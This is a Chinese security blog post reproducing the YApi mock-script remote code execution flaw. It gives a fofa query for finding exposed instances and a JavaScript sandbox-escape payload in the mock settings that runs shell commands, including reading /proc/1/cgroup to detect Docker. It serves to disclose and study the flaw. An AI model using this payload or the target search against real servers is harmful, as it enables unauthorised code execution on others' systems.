YApi授权Mock 远程代码执行漏洞复现

  • A+
所属分类:安全文章

编者注

广诚市保卫者

最近这个漏洞被炒作的火热,各种公众号在发,所以我们也免不了俗套。

 YApi有个特点就是大多数环境均为docker下。

01

漏洞描述                                                      


YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

其实这个漏洞主要有两个点:

1、允许任意用户注册

2、Mock可以执行任意命令

攻击路径

远程

攻击复杂度

权限要求


用户交互

不需要

02

搜索规则                                                      

fofa

app="YApi" 

03

靶标环境                                                      

https://github.com/Ryan-Miao/docker-yapi

04

漏洞复现                                                      

本漏洞复现相对较为简单,一般默认端口为3000。

首先注册账户test。

YApi授权Mock 远程代码执行漏洞复现

然后添加项目

YApi授权Mock 远程代码执行漏洞复现

项目名称随便写,然后创建即可。

YApi授权Mock 远程代码执行漏洞复现

创建后默认进入到项目中,在项目中添加接口,接口也随意添加,我这里还是添加test

YApi授权Mock 远程代码执行漏洞复现

创建好了以后进入设置,进入mock配置,填入如下代码:

const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("whoami;ps;cat /proc/1/cgroup").toString()

YApi授权Mock 远程代码执行漏洞复现

注意要勾选开启。

回到接口点击对应的接口名称,这里是test。

YApi授权Mock 远程代码执行漏洞复现

访问mock地址即可看到执行返回结果。

YApi授权Mock 远程代码执行漏洞复现

可以看到执行了所有输入的命令

YApi授权Mock 远程代码执行漏洞复现

这里要说明一下为啥要执行cat /proc/1/cgroup,由于我们要判断对方是不是docker启动,默认情况下docker启动会看到上面的类似信息。如果不是docker则出现下图所示内容。

YApi授权Mock 远程代码执行漏洞复现

备注:这里只是用来判断docker的情况,是否是虚拟机是无法判断的。

05

参考资料                                                      

https://blog.csdn.net/u010913001/article/details/106488517


广诚市保卫者

在平行世界的另一头“广诚市”上演着一幕幕黑客围城。

YApi授权Mock 远程代码执行漏洞复现

长按二维码关注

YApi授权Mock 远程代码执行漏洞复现

发现“分享”“赞”了吗,戳我看看吧



本文始发于微信公众号(广诚市保卫者):YApi授权Mock 远程代码执行漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: